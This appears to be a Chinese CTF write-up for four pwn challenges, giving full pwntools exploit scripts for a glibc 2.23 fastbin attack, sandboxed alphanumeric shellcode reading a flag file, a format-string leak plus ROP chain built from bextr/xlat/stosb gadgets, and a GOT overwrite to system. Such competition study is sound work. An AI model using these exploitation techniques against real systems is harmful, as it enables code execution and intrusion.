vtable_hijack 没有去符号表好评
2.23的uaf edit可以直接堆溢出,感觉什么洞都可以打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=remote('125.70.243.22' ,31194 ) elf=ELF('./pwn' ) s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print (p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg = lambda s, num: log.success(f"{s} >>> {hex (num)} " ) def add (idx,size ): sla(b'choice:' ,b'1' ) sla(b'index:' ,str (idx)) sla(b'size:' ,str (size)) def free (idx ): sla(b'choice:' ,b'2' ) sla(b'index:' ,str (idx)) def edit (idx,size,content ): sla(b'choice:' ,b'3' ) sla(b'index:' ,str (idx)) sla(b'length:' ,str (size)) sa(b'content:' ,content) def show (idx ): sla(b'choice:' ,b'4' ) sla(b'index:' ,str (idx)) def debug (): gdb.attach(p) pause() add(0 ,0x68 ) add(1 ,0x68 ) add(2 ,0x68 ) add(3 ,0x90 ) add(4 ,0x10 ) free(3 ) show(3 ) p.recv() leak=u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x39bb78 lg('leak' ,leak) puts_got=elf.got['puts' ] edit(4 ,0x10 ,b'/bin/sh\x00' ) add(3 ,0x90 ) free(1 ) free(0 ) free(1 ) add(1 ,0x68 ) malloc=leak+0x39bb10 addr=leak+0x39baed shell=leak+0xd5c07 lg('malloc' ,malloc) lg('addr' ,addr) edit(1 ,0x8 ,p64(addr)) add(5 ,0x68 ) add(6 ,0x68 ) add(7 ,0x68 ) payload=b'a' *0x13 +p64(shell) edit(7 ,0x23 ,payload) add(0x10 ,b'aaaa' ) p.interactive()
Alpha_Shell 不知道为什么,我ida f5大法失败
这题就是一个纯shellcode的编写
沙箱禁用了很多的函数,这里使用openat+sendfile
附上官方的wp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *from ae64 import AE64p=remote('125.70.243.22' ,31801 ) context(os="linux" , arch='amd64' , log_level='debug' ) shellcode = shellcraft.openat('AT_FDCWD' , './flag' , 0 , 0 ) shellcode += shellcraft.sendfile(1 , 3 , 0 , 50 ) shellcode1 = AE64().encode(asm(shellcode), 'rdx' , 0 , 'fast' ) p.send(shellcode1) p.interactive()
Offensive_Security 静态分析要到给的libc中去
格式化字符串拿到随机数和泄露处部分的libc,计算到libc版本
接着通过两个线程的函数速度不一致在guess处覆盖掉authentication_code,获得最后的栈溢出
接着就是rop,我是直接通过system /bin/sh\x00获得本地的权限
BUT 这题其实是要用题目给gadgets获得flag的,但是我学不明白,暂时先这样吧,后面学会了再来(有点好奇比赛里面这个题目写出来的大佬是怎么不通过这个gadgets获得权限的)
事已至此,等等其他的wp吧……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=process('./pwn' ) libc1=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print (p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg = lambda s, num: log.success(f"{s} >>> {hex (num)} " ) def debug (): gdb.attach(p) pause() sla(b'[!] Please input your Username:\n' ,b'%7$s' ) p.recvuntil(b'\x0a' ) leak=p.recv(8 ) debug() log.success(f"leak>>{leak} " ) libc_leak=u64(p.recv(6 )[:8 ].ljust(8 ,b'\x00' )) lg("libc_leak" ,libc_leak) libc=libc_leak-0x21b780 lg('libc' ,libc) sla(b'Please input your password:' ,leak) ret=0x0400462 pop_rdi=0x0400661 binsh=libc+next (libc1.search(b'/bin/sh' )) system=libc+libc1.sym['system' ] sla(":" ,"1111" ) sl("1111" ) payload=b'a' *40 +p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) sl(payload) p.interactive()
后续 看了挺多的文章的,还是找到了有解释的wp,还有热心的网友的帮助,这里重新构造最后的rop链
汇编指令意思
执行后的效果是 AL = DS:[BX + AL]
, ds是段寄存器,al
是ax
寄存器的低8位部分,bx
是16位的基址寄存器
1 2 3 4 pop rdx pop rcx add rcx, 0D093h bextr rbx, rcx, rdx
具体作用是从寄存器 rcx
中提取指定的比特区间,并将其存储到寄存器 rbx
中
bextr
(Bit Extract)指令的作用是从源寄存器中提取一段连续的比特,然后将其存入目标寄存器
rbx
是目标寄存器,存储提取的比特
rcx
是源寄存器,包含要提取比特的值
rdx
一般0x4000表示无偏移
它的作用是将一个字节的值(通常是 AL
寄存器中的值)存储到由 DI
(或者在64位模式下是 RDI
)寄存器所指向的内存地址,然后根据方向标志(DF
)决定是递增还是递减目标地址
AL
寄存器中的值(即一个字节的数据)会被存储到 ES:DI
所指向的内存位置。这里 ES
是附加段寄存器,DI
是目标索引寄存器。
指令执行后,DI
寄存器的值会根据方向标志(DF
)自动增加或减少。方向标志控制着内存地址的递增或递减:
如果 DF
为 0
,则 DI
会递增(通常用于从低地址向高地址存储)。
如果 DF
为 1
,则 DI
会递减(通常用于从高地址向低地址存储)。
好大的目标函数
rop组成 既然我们认识了汇编,那么怎么去组成一个gadgets呢
我们可以去先把flag的各个字符在elf文件中找到具体的地址,存放到char_locations中
1 2 3 4 5 for char in string_to_write: match = next (elf.search(bytes ([char]))) char_addr = hex (match + elf_base) char_locations.append(char_addr) info("%s found at %s" , chr (char), char_addr)
接着就是我们把目标地址处,找的一个段0x600298,可读可写
接着就是把那三个gadgets的运用,这个说一下顺序,我们先把bextr可以pop rcx把符号在的地址进行放入rcx中,再放入rdx中,接着,因为xlat把rbx+al的值放入了al中(al开始是0),现在al中放了一个符号了,然后我们通过pop rdi放入我们的目标地址,接着,我们用stosb把al写入rdi(目标地址中去)
在第二次循环的时候,因为al中的值是符号,没有变,所以我们加pop rcx时,要减去前面一个符号表中的ascll值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 for char in flag: match = next (elf.search(bytes ([char]))) char_addr = hex (match + elf_base) char_locations.append(char_addr) info("%s found at %s" , chr (char), char_addr) al_last=0 payload=b'' for i, char_location in enumerate (char_locations): if i!=0 : al_last=flag[i-1 ] payload+=p64(bextr) payload+=p64(0x4000 ) payload+=p64(int (char_location,16 )-al_last-0xd093 ) payload+=p64(xlat) payload+=p64(rdi) payload+=p64(data_+i) payload+=p64(stosb)
在flag被写入后,我们通过printer函数打印出flag(一次跑不出就多跑几次)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=process('./pwn' ) elf=ELF('./pwn' ) libc1=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print (p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg = lambda s, num: log.success(f"{s} >>> {hex (num)} " ) def debug (): gdb.attach(p) pause() sla(b'[!] Please input your Username:\n' ,b'%7$s' ) p.recvuntil(b'\x0a' ) leak=p.recv(8 ) log.success(f"leak>>{leak} " ) sa(b'Please input your password:' ,leak) sla("Please enter your authentication code:" ,"1111" ) sleep(1 ) sl("1111" ) data_=0x600298 printer=0x400647 xlat=0x40064E bextr=0x400650 stosb=0x40065f rdi=0x0400661 flag=b"flag" char_locations=[] elf_base=0 for char in flag: match = next (elf.search(bytes ([char]))) char_addr = hex (match + elf_base) char_locations.append(char_addr) info("%s found at %s" , chr (char), char_addr) al_last=0 payload=b'' for i, char_location in enumerate (char_locations): if i!=0 : al_last=flag[i-1 ] payload+=p64(bextr) payload+=p64(0x4000 ) payload+=p64(int (char_location,16 )-al_last-0xd093 ) payload+=p64(xlat) payload+=p64(rdi) payload+=p64(data_+i) payload+=p64(stosb) payload_1=b'a' *40 +payload+p64(rdi)+p64(data_)+p64(printer) p.recvuntil(b"Login success!" ) p.sendlineafter(b">" , payload_1) p.interactive()
beverage store 题目算是给了半个后门函数
我们只需把这个printf变成system,再把函数劫持到system中去即可
scanf处只需输入负数即可修改got表
因此,思路就是,先把exit改成这个函数,实现循环,然后再利用srand或者setvbuf处修获得libc地址,改printf为system,最后改exit为前面半个后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *from ctypes import *context(os='linux' , arch='amd64' , log_level='debug' ) p=process('./pwn' ) elf=ELF('./pwn' ) libc=ELF('./libc.so.6' ) def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print (p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg = lambda s, num: log.success(f"{s} >>> {hex (num)} " ) sla(b'input yours id' ,b'a' *12 ) elf = cdll.LoadLibrary('./libc.so.6' ) elf.srand(0x61616161 ) v2=elf.rand() sla(b'Input yours id authentication code:' ,str (v2)) sla(b'wine' ,b'-4' ) sla(b'which one to choose' ,p64(0x40133b )) sla(b'wine' ,b'-5' ) sla(b'which one to choose' ,b'aaaaaaa' ) rl(b'aaaaaaa\n' ) debug() leak=u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x62090 lg('leak' ,leak) system=leak+libc.sym['system' ] lg('system' ,system) sla(b'wine' ,b'-7' ) sa(b'which one to choose' ,p64(system)) sl(b'-4' ) sla(b'which one to choose' ,p64(0x401511 )) p.interactive()
感谢 这个 师傅在我复现的时候给了我很多的指导,膜拜下